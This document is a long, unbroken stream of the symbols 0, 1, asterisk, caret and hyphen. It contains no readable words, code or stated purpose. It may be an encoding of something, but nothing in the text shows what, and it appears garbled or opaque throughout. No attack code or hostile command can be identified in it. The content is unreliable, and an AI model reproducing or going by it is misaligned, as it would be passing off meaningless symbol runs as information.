0-001********00-001********0-101********0^11*********--1*********0-********001010^1********--1********0-^1*********11*0101*1*1*001*1*********011*1*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0-010^--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**01010-*****001**0011****011***01^1^1***00---------**00-*01*001^1*-01*01010^-*00--------1^-1*-00-01*---------01**-*01*001^1*00-**********1*0010-0010-01*011**1*0---------001*00-*01*001^1*01011*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------110-*00-*01*001^1*^11010-^10-11*1*^1*****01**01010-**1*11*001*1*1101*00101*******0010-*101*1**--------0010101*0-*01*001^1*^1*0-11*1101**011*--------101^11*-00^1101*-0011*^1********01010101*001*01*******0-11010--********01011*1*001*01****01**0-010^--01*^1*****01**01101***1*11*001*1*1*^1********00101101*001*11*001*1*--------1101*1*-*01*001^1*^1101*******010-1^11*001*010^1*****01***01101**^101*001*1*********10101*********1**0101*101*01^11*00^11010-01^-11*1*011*1*0011**--------1*1101*-*01*001^1*-01*0101*001101*--------110-01*-*01*001^1*0-1*01^1*11****001**1101^1*01011*******************-*********00-*1********0-*********00110^1*********-01********1010-********001*101********0101011********0010-01*********11*********0-**********11*0101*1*1*001*1*********101*1*0-*11*001^1*001****01**001**0--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001***10-*****001**01^1***00-***1^1^1*--------00-**-*10101*1^1*11****001**0101^1*01011*******************11*********00-********************0-*********00101*00101*10-*001*1*-*001^1*-01*01010^--------***00-*011*0^1101********01011*1*00^1*^1********1*1101*00^101*001*1*--------11010-*-00^1101*****0010-011*01101*001*010^110101010-11*^1*0--------11*1*00-*011*0^1101*********01^1*00^1*^10101*0-11*101*001*1*********1*1*^-0010-01*011**110^-^--0101011*0-11**001101*^-1*10-11*001****01*****0--*10^-110^-11*001*******-1*10--0-10^-11*001*******-1*10--*1**101101010^1*01**101**011010-01*011**101****1***0-0-11011011011******011**0011*101**--------1101011*0-*011**-*0101****1**0-0110-11011011011******011**0011*101**--------10-11*0-*011**-*--------1*0-*-00^1101******0110-01^-*001*010^1*****01**01*0011*001*01*001*1*--------0010-1*-*1011*--------10-001*-*011*0^11*********1011*********0-**********1**101*101*01^11*00^110101*1^-11*1*011*1*0011**--------^-01*-*011*0^1101*****00-01*1101011**1*010^1********1101^1*00^^1*00101*001101*********010-01********0-0011********11*11*******************0-011********0010^1********01*101********0010^1*******************10101*********010-01********1101*0101*1*01**11**011*101*001^1*001****01**0-010^--*1*001^1*001*******010101010--01011**1*******-1*10--001101*01^1*********1***-001*1***001**01^-*****001***0^1****1**001^1^1***00--------11*1*00-*01*001^1*00-*01010^-*00--------1^-1*-*0-*--------1^11*00-*01*001^1*^11**********1*0010-0010-01*011**1*0--------11*01*0-*01*001^1*^1101*****0010^^1011011**^1^^101101*011*001*1*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------*0011*0-*01*001^1*0-1*1101*00101*******001*1*101*1**---------1011*0-*01*001^1*0-1*1101********************01**1*0^--------1^-1*-00-01*---------*01*-*01*001^1*1*^^1*10-11*101*001*1*********0011*********01**0101*101*01^11*00^11010-01^-11*1*011*1*0011**--------00^101*-*01*001^1*^1101********00-1011*00^1*^1*****01**01^11**0^101*001*1*0101*001101*--------110-01*-*01*001^1**11*01^1*11****001**^1^1*01011********0-^1********00-001*********^1********0^1011********0011*01********10^1*******************00^101*********-001********0-*********00101101********01*-*********11*0101*1*1*001*1*********101*1*0-*11*001^1*001****01**0^110^--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**00^-********0-0-1**0011***01^1^1******001010^1*******0011**1010-0^1*0-----110--0^1011*-*-*01^1*^1*0-11*01*1011*******0011**0010-0^1*0-*0011011******001**0010-*1*******-10-0--01011*00101*******01*10-101101*******00^101*010-*1*001*1*--------1^-1*-*1011*-----10--1***00-*-*01^1*00-**********1*00-1^-*001*1*^1*01*1*-----10--11*1**-*-*01^1*11011*^1*01^1**11010-01*^1*01*1*-----10----**-*-*01^1*^1101********0-0^1*00^1*^10-0^-11**01*1*1*01^1*101*******0^110-101101*10-*01101^^110-01*01*01*1**110101*1*-11**1101*11*01*1*^1*01*1*11011******01***10-01101*01*1*1*01101^^1^11010^1*01*1**11010-*001*1*0011*01*1*11011******01***10-00101*01*1*101*001*1*1*******00^10^1010-*1*001*1*-----10--101^11*0-*-*01^1*^1101*****0010^^1011011**1*010^1*****01***--*00^1*1*1*1*^1*01^1*-01**1*01^1*^101^-*-011******01**01010-01101*01*1*-----10--1^1*1*-*-*01^1*^11010110-00-11*1*^1*****01**001^1**0^-1*01*1*-*001^1**001101*0110101*001*1*1^^^11*01^1**11010-01*10^1*011*01*1*11011******01**01010-00101*01*1*01*110-1*0-11*-*001*1*--------10110-*-00^110101^1*-11*1*^^-**01*1*1*-----10--11*0011*-*-*01^1*1*^1*10^-11**01*1*1*********0011*0^-00-1101**^-11*011*001*1*-----10---101011*-*-*01^1*-1*0-11*-*001^1**0011011*110-01*-1101*****00--11**11*001*11*001*1*-11010-11*-11*011*001*1*0011*01^1**11010^11*0011*01*1*-----10--1*-11*-*-*01^1*-01*011*001^1*1*0110101*001*1*1^^1*11010-01*0011*01*1*11011******01**01010-00101*01*1*101*001^1*1^^^11*01*1*11011******01***10-00101*01*1*001*001^1*0101******0011*1101^-0--------00^1*00-*-*01^1*^11*0101*01^1*1101*01^1*0011*01^1*011*0011011******01***10-*1*******10110-0--011011******01***10-*01*001010^1*******0011**1010-0^1*0--------0^-1*-*011*0-11*--------1*101*0-*-*01^1*^1101********01^1011*00^1*^1*****01**0^1***^-1*01*1*********10101*^-001011*010^1*101^-1*0011011******001**0010-*1*******-10-0--0--------^-1*0-*-*01^1*01101*1101*01*0110-*001^^1*1101*011*011*001101*01^^1011*0010^^11011******01***10-*01**11**1*******0-0-0--00101*01*011*1*001*01^1*11011**10-001*11**00^11**--------01*101*-*-*01^1*0101*0-11*01^1*11****001***1^1*01011********-0011*********--********01011011*****01**00^^1*******************-011********0-0011********0-1******001**0-11011*****01***0101*********1011011*****01**0-01101*****01****101*****01**0110^1********01011*1*****01**0-11011********^-01*********-*********^1*101*^-*01*1*********0-101*0-001*1*1^1*001*******010101010--*001*1^1*001****01*****0--0-1*01^1*001****01**001**0--001101*01^1*********1***-001*1***001**01*-******1**0110101***011***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11***0010101*01*******00110-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******00110-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******11010-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******11010-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11***0010101*101*******1***101*11*00-----10---1^1*0-00101*001^1*^110^-0110-11*1*^1*****01***^101*001*001*01*1*01*101011****001**-1*1*101*1**0011*0-11*011**1*101011*******011**0010^-01*-*001011010101*0-01011**01**0110-11*1101*0-11*011*00-----10--^-11*0-00101*001^1*^11*01*101011****001**-*01*101*1**0101*0-11*011**1*101011*******011**00101*0-*-*001011010101*0110^11**01********001*0011*00^^1*0-11*011*00-----10--101*101*-00101*001^1*10-*01*1010101********0011*10^11**0^1*1011*0011****001**11*001*101*1**0-1*011**1*101011*******011**00101*-1*-*001011010101*01^-1**01*********1*001*00^10-*011*00-----10--10-0011*-00101*001^1*^1101******-010110110-*001*010^1********001*01*00^-*001*1*01*10-0101******110-*00101******11***00101*001******11**1011*1*001*101*******0-1*00101*11****011**01*01*0101******1***0-11*001******1**0-^11*001*1**0^1*0011*0011****001**1011*1*101*1**01^1*11****001**1011*1*101*1**00-*011**1*101011*******011**00101*0-*-*001011010101*0110^11**01********0011010-*00^11011*011*00--------001101*00-00101*001^1*^1101******---001011*001*010^^^^-11*011*001*1*01*101011****001**^1*1*101*1**01011*011**1*101011*******011**00101*1101*-*001011010101*01^1011**01********0011010101*00^^11*011*00--------0101101*0-00101*001^1*0101*0-11*01*10-0101******110-*00101******1**01*0101*001******1***11*1*001*101*******0-1*00101*11****011**01*01*0101**********1101*001********00-*01*00^1**00^1*1101*01**00--101101*110101******010-1*0101******01**-01101*001******01**1101^1*001*11****001**1**1*101*1***11*011*00--------00^101*-00101*001^1*-01*01*101011*******011**0010^10-*-*001011010101*0-^11**01*010-0-11*-01*011**1*101011****001**1**1*101*1**01101*011**101*01*******0011**1011*11011*0-11*********1^-********01*0101********--11*****01**0110101****************001**00--*****001**001*11*****001**01*101*****001***11011********0^101******1**00^1*********1101*0101*10101*001*1*101*001^1*00-**1*01^1*001****01**001**0--0-*001^1*001*******010101010--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001***00-*****001**0-01011***11***1^1^1****10101*01*******01010-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******01010-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******^10-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******^10-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01********10-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01********10-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******-00-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-00-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******01^-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******01^-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******10^-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******10^-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******00^-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******00^-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******11*-10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******11*-110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*010101*01*******01*-**010101****01**10-*1^-***01101*01^1*********1***-*-00^10101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*********10101*101****01**00110^-101^11*00-----1010--011*1*-00-*001^1*^1101*1*10-11*1*^1*****01**01010-**^^1*01*1*-----1010---^1*-00-*001^1*11011*--------1^-1*-*0011*-----1010--0110101*-00-*001^1*01^^-11*********^1*0^-001**00--1*01*-11*101*001*1*-----1010--*0011*-00-*001^1*^1101******-1010^-01*001*010^1*****01**011*11**^1011*01*1*101*001^1*-01*--------01^-*-00^1101******^1*011011**01*010^1*****001**^101**0^1011*01*1*-----1010-1^110-*-00-*001^1*^11*-11*********^1*0^-001**00--101101*101*001*1*-----1010----1*-00-*001^1*^110101101*0-11*1*^-*010-11*0011*01*1*101*001^1*^1*0-11*------0-110^1**-00-*001^1*1*0^-11*--------0^-1*-0010-*-11*------0-1101*1*00-00-*001^1*0011*0-11*********^1*0^-001**00--10-1*101*001*1*------0--01011*00-00-*001^1*1101101010-*1*^1010-00-11*1101*01*1*101*001^1*0011*0-11*------0--11*1*0-00-*001^1*^1101*********110-*00^1*^101101^-11*1101*01*1*0101****01**10110^-10110110101******0-*1*101******01**^^11*001******01**-*11*001*11****001***1^1*101*-1*01*11011**10-001*01**001*0101*-**11*00--------0^-1*-00^1*0-11*------0-1101*001*-00-*001^1*^1101******01*0-01101**^1^^1********001^11*001*-*01*1*********10101*^-001**00---01*0-11*101*001*1*------0-1101*101*-00-*001^1**11*-11*101*001^1*01011*------0-110-0101*-00-*001^1*^1101******0010-1*101**^1^^1*****01***10101**1*-*01*1*0101****01**10110^-10110110101******0-*1*101******1**011*1**01******1**0101101**01*11****001***1^1*101*0011*01*11011**10-00101011**001*0101*01***1*0---------10-*-001*^10^1010-11*0011*01*1*------0---0-*-00-*001^1*-11*-11*********^1*0^-001**00--1^11*101*001*1*-----^--01***-00-*001^1*1*^-01*0-11*0011*01*1*101*001^1*0-*0-11*--------10110-*-*101101011011*1*^^1*10-11*^1*01*1*-----^--0-1**-00-*001^1*1*^1********^1*1*001*001*01*1*********-1*0--00^101^-*1^1**1*001*1*--------0^-1*-001^1*-11*-----^--0-11*00-00-*001^1*1*0^-11*********^1*0^-001**00--11011*0-11*101*001*1*-----^--0^101*0-00-*001^1*^1101*****00-1*10110-**^1^^1*****01**00110-**1*-*01*1*101*001^1*00-*--------01010-*-001101101011011*1*^1********0110^1*00^^1*01*1*-----^--^-1*0-00-*001^1**1101011011*1*^--110-11*0011*01*1*********0-*0^-00110101******-01101*101******01**00-1**01******01**1101101**1*1**--------0^-1*-00-01*-11*-----^--11*101*-00-*001^1*^1101*****00^1*-^1**01*010^1********1010^1*00^1011*01*1*********10101*^-001**00---011*101*001*1*-----^--01*011*-00-*001^1**00^-11*101*001^1**11*0011*00101****01**11010^1^-0--------0^-1*-**0^-11*-----^--11011011*-00-*001^1*00-**********1*0^-001**00---101*101*001*1*-----^--10110-*-00-*001^1*1*^1^11*1101*01*1*101*001^1*0101*0-11*1101*00101^^1*001*1*^1*0--------0^-1*-0011010^-11*-----110--*1**0-00-*001^1*^110^-0110-11*1*^1********10^101*001*011*01*1*********0^1*^-001**00--1^1*0-11*101*001*1*-----110--10^1*00-00-*001^1*01010^-11*101*001^1*^11*-----110--1*11*00-00-*001^1*01101*0101****01**10110^-10110110101******0-*1*101**********^1*001*********-^1*001*11****011**10-001*10^1101**-1**^1^1^1*001*0101*01101*00101*-11*01***1*0--------0^-1*-*1010^-11*-----110--00^11*0-00-*001^1*-10^-11*********^1*0^-001**00--1*11*101*001*1*-----110---0-*0-00-*001^1*-01*101*001^1*1011*0-11*001*001^1**11010-01*001*001*1*--------01^-*-00^1101*****00-*---**1*010^1*********00101*001*101*01*1*-----110--00-001*-00-*001^1**10^-11*********^1*0^-001**00--^11*0-11*101*001*1*-----110--*01101*-00-*001^1*1*^10-1^-11*1101*01*1*101*001^1*1101*0-11*--------0^-1*-*0010^-11*-----110---*11*-00-*001^1*01011**********1*0^-00110101******11011**101*********0101011*001********0011*011*001*11****011**1*-*0101*-**^^110101011011*1*00^^11*******************00-*001*0^-*00--------0^-1*-0011011*-11*-----110----11*-00-*001^1**01^-11*********^1*0^-001**00--10101*0-11*101*001*1*-----10---001**-00-*001^1*0^1*-11*101*001^1*0-1*001*001^1*01101*--------01^-*-00^1101********0^1*1*00^1*^1********10^101*001*011*01*1*-----10--1101011*00-00-*001^1*^110^1^110-11*1*^1*01*-11*1101*01*1*********-1*0^-001**00--110-*101*001*1*-----10--10-001*0-00-*001^1*10101*-11*101*001^1*11011*0101**01*0--------0^-1*-0010101*-11*-----10---*11*0-00-*001^1*^1101*010^-11*1*^1********0101*1*00^1101*01*1*********0^1*^-001**00--101011*101*001*1*-----10----11*0-00-*001^1*01011*-11*101*001^1**01*-11*01010^1*******0011**1011*101101*--------0^-1*-*1011*-11*-----10--10101^1*-00-*001^1*01*^-11*********^1*0^-001**00---11*0-11*101*001*1*-----10--10-0101*-00-*001^1*^1101*****001^10^^101**1*010^1**10-11*0101*01*1*101*001^1*10-*1011*0110101******01011**101******11**0110-1*001******11***11011*001*1**--------0^-1*-0011*^-11*-----10---011011*-00-*001^1*10^^-11*********^1*0^-001**00--^-*101*001*1*-----10--10-0-*-00-*001^1*^1101010^^-11*1*^1*****01**010-11**^^1*01*1*101*001^1*-1*0-11*--------001**00-00-*001^1*11011*---------10-*-001*^^101*-11**1*01*1*--------01101**-00-*001^1*0101*0-11*********^1*0^-001**00--10-*0-11*101*001*1*--------010101*00-00-*001^1**11*101*001^1*01101******01**010-1******1***011011********1*11******01**001011******11**-*01*****001***^1******1***01******011**11*1******1***110101******1**0010101******1**-*1********1*011******1**11*-********-*01********01*101*****001**0--1*****001**1^-*****0011***0101*****0011**010-01******1**11011********00^11011*****01**0101*01********01101101******1**0-01*****0011**1^^1*****001**11*-*****01**01^1*********-00-********1101******0011**1^11******1**001*1******01**110^11********0^-******1**^1^1********-*1******01**010-******01**1011******011**0-0-********^101******001**********01*0011*1********00^10101*****001**1*011******01**0010101*****01**01010-*****************1**110^1*****01**00-1101*****001**001*********001*1^101*10-*001*1*-*001^1*^11*0-*01^1*001****01**0^110^--01011*01^1*001*******010101010--*11*01^1*001****01*****0--01101*01^1*001****01**0-010^--00101*01^1*001*******-1*10--0^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--001101*01^1*********1***-001*1***001**0-1011*****00101*0010101101**00-***1^1^1*1*******0010101*********1011******001**0011*11*****01***00101********00110-*****************************00-*1*****001**0010-1********001^101********00101011********01********101^1*001***010101*001*0-----110--0-1101*-00--------0110101*0-001011*01^1*10-*--------01^-*-00^1101*******011010^101*00^1^^1*****01**010-1**0^-1*01*1*--------1*-*0-001011*01^1*^1*0-11*********^1*0^-001**00--1^11*101*001*1*--------001*01*-001011*01^1*01101*101*001^1*-01*--------1^-1*-*1101*--------1010^1*-001011*01^1*^1101********0^^11*00^1*^110101010-11*0-*01*1*********0^1*^-001**00--101101*101*001*1*--------1*1101*-001011*01^1*^1101*********010-*00^1*^^1*10-11*0-*01*1*101*001^1*^11*010101*101****01**00110^-101^11*********00-*********00-1011*******************00-11*********-*********0-11********00^^1*********-11********0-0-*********-*********^^1********01101*0101*101011*01*1*1011*01^1*0-1*********0^110110-01^11*01*******0011**1011*101101*01^1********001011*010-01^-0110101******001^^-11011*1*001*1*--------1^-1*-0011011*--------010^11*-001101*01^1*01101**********1*0^-*01*001*1*001*001^1*1*******0010101^1010-0^1**********^1*******************010-**********1**********01*********010-*********011*00101*101101*01*1*1101*01^1*01011*********-*1010-0---------^-1*-*1011*--------*1011*0-00^1*01^1*00-**********1*0010-*101****1****^-10110^1*00101****01**10110^-10110110101******0-101*0101******01**--01*001******01**1011*1*001*11****001***1^1*10^11011*01*11011**10-00110-**001*0101*110101******001^1*0101******11**0-011**1******11**011*1**^110101*******-*00101******01**01010-*001******01**01101011*00^-01*110101******-*1*0101********00101^11*001*********0101011*00^-**1**011*001101*01*******00-1101^10-00101****1**0-11*-10110^1*********010-01*0-********00110-1*******************101**********1*11********0101**********1*11*******************-*00101*10^1*01*1*^1*01^1*01101*1011*0110101******0-^1*101********0010110101*001********00-0-1*00^110101******1*001*0101******11**1*01**01******11**01^1**0^110101******1*0101*101******1**011011011*001******1**010-001*00^110101******0-*1*101******01**-011**01******01**^-**01*11****011**10-001*10^1101**-1**^101101101*001*0101*11011*0-1*01**0101****1**01^^-00-0011****011**10-001*10^1101**-^1^^110-01**1*0101*-01*1*1*-11******01**0-10101^-001**00--1*11*101*001*1*--------00110101*-00-*001^1*-01*101*001^1**11*0101*00101****01**11010^1^-0--------1^-1*-00-01*--------11*011*-00-*001^1*00-**********1*0^-001**00---101*101*001*1******001**10-1*00-00101*001^1*01101**********001*******************01*11********001*11*********001*********01*11*******************0-*00101*10-*001*1*-*001^1*01101*-1*01^1*001****01**0^110^--00-*01^1*001****01**0-010^--001101*01^1*********1***-001*1***001**00-011******1**-*01**00-***1^11011************0110^11**11*0010101^101**^10-***1**1*******0010101*00-***0010-1^10101***01^101***********00-*1**********0010101*11*001*1*------0--1011011*-00--------^^1*0-*1101*1^1*1*^1*****01**00-011**^-1*01*1*--------0^-1*-001101*0-11*---------1101*0-*1101*1^1*^11**********1*0^-001**00--1^11**1*01*1*--------1*-*0-*1101*1^1*0101101011011*1*^--*-11**01*1*1**1*01^1*-01*--------11*-*-00^110101*^1********1^^1*001*0011*1*1*1*^1********1^^1*001*0011*1*1*--------*1^1*-*1101*1^1*1*^101101010-11**01*1*1*********0011*0^-001**00--101101**1*01*1*--------0-0101*-*1101*1^1*^1101*****00-1*0101101**01*010^1*****01**00-^1*00^-01*1*1**1*01^1*^11*010101*01*001*1***********01********-*1********0-*1*******************11***********1101********0101*01********11011*********1*-********0101*01*******************001101*********11*0101*^1101*1*1*01101*1^1*0-1*00-0110101******001^^-11011011011******0-011*1101*0---1**^1*******************001011********************1011********************101*00101*1*101*1*1*00101*1^1*01011*********00110^10-0--------1^110-*-00^1101**^-11*1*^11*0^-11*-1*01*1*--------110-1*0-*^1*1^1*-01**********1*0010-*101****01**1011*1*10^-**^1*---------1*1*-*^1*1^1*00-*001*001^1*110101******0-101*0101*********11*11*001*********010-1*001*11****01**01*001*0101*1**11011010^1*0010^110-*1*00^10-*00101*110101******01^101*101******01**^1*1*001******01***11011*00^101*001*1*001*001*1*101*001^1*0101****01**0011*1*10^-**^1*--------1*1011*-*^1*1^1*00-********************10^1*********01*********************1*********01101011********01101011********01*1**********1*0101*^^1*1*1*0^1*1^1*01011*-*001^1*0101****01**1101*-110110-**01*001^1*011****011**0011*1*101*^11*1*110101^1^11*1*001*******************01101*01*01*1101*--------11*-*-*00110101*^1*****01**0-0^1*001**1*1*1*1*^1*****01**0101***01**1*1*1*-----110---00-*-*-*01^1*^110^^1*-11*1*^1^-10-11**01*1*1*********-1*00-1^^11010-01*011****001**01010110-101^11**001*0-----10--^1**00-*-*01^1*-01*0011**011010-01**1*0-----10--1*01**-*-*01^1*^11*0101****01**0101*-110110^1*0011****001***0^-1101^11****001**10110110-101^11*******011**0010^-01*-*001011010101*0-0-1**0^11*^-11**1*0011*00^1*0011****001**0011*-1101^11****001**10110110-101^11****011**1*-*0101*-**^^1101010-^11**^10-********************011*01*01*001*0011*00^1*0011****001**0-*-1101^11****01**0-101*00101**1*-11*1010-0-11*110101******01^11*0101*0110^-11*011*10-11*011****001**10110110-101^11****011**0011*1*101*^11*1*11*1^11010^1**1*******************001**1*01*0-**1*0011*00^1*0011****001**0101*-1101^11****001**10110110-101^11*******011**00101*-1*-*001011010101*011****01*0-*-11**1*0011*00^1*0011****001***1*-1101^11****001**10110110-101^11****01**01*001*0101*0101*11011010^1*0010^--^1*001*1011*00101**1*0011*00^1*0011****001**011*0-1101^11****01**0-101*00101******1**0011011**01******1**01^101**^110101******01^11*0101******01**11010101*001******01**1*0011*001*11****001**10110110-101^11****011**0011*1*101*^11*1*11*1^-101101**1*******************001**1*01*-1**1*0011*00^1*0011****001**001*0-110110110101*******1**0101******11***0-1*001******11**01^101*001*11****001**10110110-101^11****011**10-001*10^1101**-1**^1*0^1*001*0101**11*^11*-11**1*0011*00^1*0011****001**01*00-1101^11****001**10110110-101^11****001***1^1*101*0011*01*11011**0-^-0101**01*0101**1*0011*00^1*01011*0011****001**0^^-00-0-*00--------^^1*0-*-*01^1*-01*0011*001101*1101*00101****01**^1*-00-0--------^1101*0-*-*01^1*01011010^11*1*^11*0110-11*-1*01*1******001**-^-00-001**00--1*11**1*01*1*--------1*-*0-*-*01^1*01011**1*01^1**11*010101*11****011**0011*1*101*^11*1*110101^--*1*001********************1*001*0^^11*--------0^-1*-00^1*0-11*--------*1^1*-*-*01^1*110110^-1*1*^^^^-11*-1*01*1*********0-*0010-*11****001**1*-0-101^11****011**0011*1*101*^11*1*11*1^-001011**1*******************01011*01*01*-1*011*******1***10-1****************1***10-1********0011011*********-11*********1011********************-11*********10101*****001**010101101****************1**01*0011********^^1********01011*0101*^-*01*1*0-*01^1**11******011**101010-0-011011*001^1*011****011**0011*1*101*^11*1*110101^1^11*1*001********************01*01*01*1101*01^1*********0-*10-0110101*0011****001**01^1101^-001*******************************0-*******************************101*00101*1*11*01*1*0011*01^1*01101**********110-00-001**00---101**1*01*1*******1***01*00-*001*01^1*01101*********11***********1*****************************************0101*00101*^101*01*1*0101*01^1**11**01*1^1*001*******0-11010--0-1*01^1*001****01**001**0--*011*1^1*001****01*****0--0-01*1^1*001*******010101010--001101*01^1*********1***-001*1***001**01011011******01*001*-***^1**001^11011********************01101******11**0-1******001**0^1******01***11*********001**1*******0010101*********011*******01**10^101********-1011******1**011011*****************0101^1*001********0010101**************************************************************101*00101*1011011*1*1*11011*1^1*01011*00-0110101******001^^-11011011011******01*1*01101*0--1011**^1*****************************************1011********************101*00101*10^11*1*1*^11*1^1*01101*********00110^10-0---------010^1*-*1101*1^1*1101101*011*1*^-110110-11*-01*1*1*-----10--110-1*10-*101****01**001011*00101*11**^1*---------10101*-*1101*1^1*^11*-----10---*10--^^101^-*-1*001*1**1*01*1*--------01*011*-*1101*1^1*110110^1011*1*^1********00110101*00^-01*1*1**1*01^1**11010-01**1*01*1*********-01********************01*1*******************010101*********01*1******************************001*0101*^1101*1*1*01101*1^1*00-***********0010-01101^1*********11*0010-0110101****01**00-*-10110101*001*1*011****001**0110^-1101^11****001**00-11*010^^1*0101*001*1*011****001**0010^-110110110101******0-101*0101*--0-11*001^10-11*001*001*1*011****011**1*-*0101*-**^^^10101**01*001*1011*******************00^1*01*01*11****001**11*010-101^11*00101*001*1*101*001^1*011****001**-0^-00-*1*******01*-0--*************************************************************00101*00101*1*101*1*1*00101*1^1*-01*********1010-0^-00110101******-01101*101*********-0101*001*********00^11*00^^1*0-----10---110-*-*^1*1^1*00-*001*001^1*110101******-101*00101*********00^11*001********0011*001*001*101*01*1*10-00^-010-11*01101*0101*01*1*0101*01^1*1*******0010^^1011*-101*110101******0-1011*10^110101******00110101*10^1^-0-11*01101*^1*01*1*10-00-110^-11*01101*^1*01*1*^1*01^1*1*******0010^^1011*-101**1*0--------011011*00-*^1*1^1*^1101******--010-**001*010^1********001*01*001*-*01*1*1011*0110101******0-*1*101******01**0^101**1******01**00-01**1*11****011**1*-*0101*-**^^1101010^10-**^11011********************11*001*01*001**11*00101^1*1*01*1*-*001*1******01**00^101*0-*001*01^1*01101*-*001^1*-*00--------1**1*-*^1*1^1*0-1******01***0-^-11*1101*^101^-*-1*001101*0011****001**10-11*0101*11****001**101*10-101^11*00--------0-^1*-*^1*1^1**11******01**01010^1^-00110101******-01101*101******11**10--*001******11**0101^1*001*11****001**101*10-101^11**101*00101****01**1^11*00101*11**^1******01**0-01101*-*******************0-0101*********1^1********0101**********-1011********-0^1********101********************0-101********0010-01********0-0^1********1101*0101*^^1*1*1*0^1*1^1*0101*0-11*--------01011**-001011*01^1*10-**********1**0-00--------^10-*-00^1101*****00^10110-11**001*010^110101*-11*0-*01*1*---------011*00-001011*01^1*1*^1*****01**0-0^1*00^-1*01*1*********-1*0^-001**00--1*11*1101*01*1*--------*0101*0-001011*01^1*1*^11*-0-11**01*1*1*1101*01^1*-01*--------^10-*-00^1101*10^-^^-11*0-*01*1*0010^-^^-11*0-*01*1*---------1011*0-001011*01^1*0101*0-11*********^1*0^-001**00--101101*1101*01*1*--------01*001*-001011*01^1*^1101011*^-11*1*^110110^-11*-1*01*1*1101*01^1**11*011*001^1*0101****01***01^-1011*1*******110^110--0--------1^-1*-00^11*--------01^101*-001011*01^1**11**********1*0^-001**00---101*1101*01*1*--------*-01*-001011*01^1*^1101******10^10110-11*001*010^-0^10-11*0-*01*1*1101*01^1*01101*********0-011********011010101******************0010101*********01^101********101101*******************0110^1********0101101*********1^101********10-11********01101*0101*101011*01*1*1011*01^1*0-1**01*1^1*001****01**0-010^--0-1*01^1*001*******0-11010--00-*01^1*001*******-1*10--0-01*1^1*001****01*****0--001101*01^1*********1***-001*1***001***11011*****0011**^1011****1**001^11011************01101*1**011010110-^101***-***001**1*******0010101*00-*11**1^-001010^11**^^1***********00-*1**001010^-*001*1*------0--^-1*-00---------001*00-00^11*1^1*^11*--------01^-*-00^1101******-00-0101101*00^1^^1********0-0011*001*1011*1*1*--------01*01*0-00^11*1^1*1101*0-11*********^1*0^-001**00--1^11*^1*01*1*--------1010101*0-00^11*1^1*0-1*^1*01^1*-01*--------1^-1*-*-1*--------01^11*0-00^11*1^1*11011**********1*0^-001**00--101101*^1*01*1*--------*-1*0-00^11*1^1*1*^11*-0-11*0011*01*1*^1*01^1**11*010101*11****011**0011*1*101*^11*1*110101^-001*1*001********************1*001*0^11011*--------00-001*-00^11*1^1*^1101******10101010-***1*010^^10-0-11*10101*1*1*-----^--0^^1010-*11****001**1*-0-101^11****001***1^1*101*1011*01*11011**0-^-0-**01*0101*011**********-11*********110^1******************************00-********0^101********00^101********0010^11********00-11********0011*101********10^11********00-^1********101^1********01011*0101*10^11*1*1*^11*1^1*^1*0-11*********01*-10-0-11*001^1*011****011**0011*1*101*^11*1*110101^-001*1*001*******************011**1*0^11011*01^1*********0-*10-0110101*0011****001**01^1101^-001**********-*****************************************00-*********00101*00101*10-01*1*1*-01*1^1*^11*********0^10-00-001**00---101*^1*01*1*--------011*11*-*0101*1^1*^1101******1^1011*1**001*010^10-1*10101*1*1*^1*01^1*^11*01010^101*001*1*********-01*******************00-01*********-01*******************0011**********11**********-*00101*1*101*1*1*00101*1^1**11*00-0110101******001^^-11011011011******0-011*1101*0--1*1*00^1*****************************************1011********************101*00101*^^1*1*1*0^1*1^1*01011*********00110^10-0---------^-1*-*1101*--------*0-*0-*-*01^1*11011**********1*0010-*101****01**1011*1*101*001*00^1*--------001*01*-*-*01^1*^1101******00-01**01*001*010^1*****001**11*01**1**1*1*1*101*001^1*110101******0-101*0101******11**01^11**1******11**0010101**1*11****01**01*001*0101*0101*11011010^1*0010^110-*1*00^10-*11**110101******01^101*101*-*0-11*-11010-11*011*001*1*101*001*1*011*001^1*0101****01**0011*1*101*001*00^1*--------101^11*-*-*01^1*1*^11*0110-11*-1*01*1*******************0010101*********-1011*******************1010101********01010101*********11**********11**********01*0101*^-*01*1*0-*01^1*10-**1*01^1*0101****01**1101*-110110-*00101*001^1*011****011**0011*1*101*^11*1*110101^-011*1*001*******************00101*01*0^-01*--------1^-1*-*0-*-----10--1^11**-001101*01^1**11*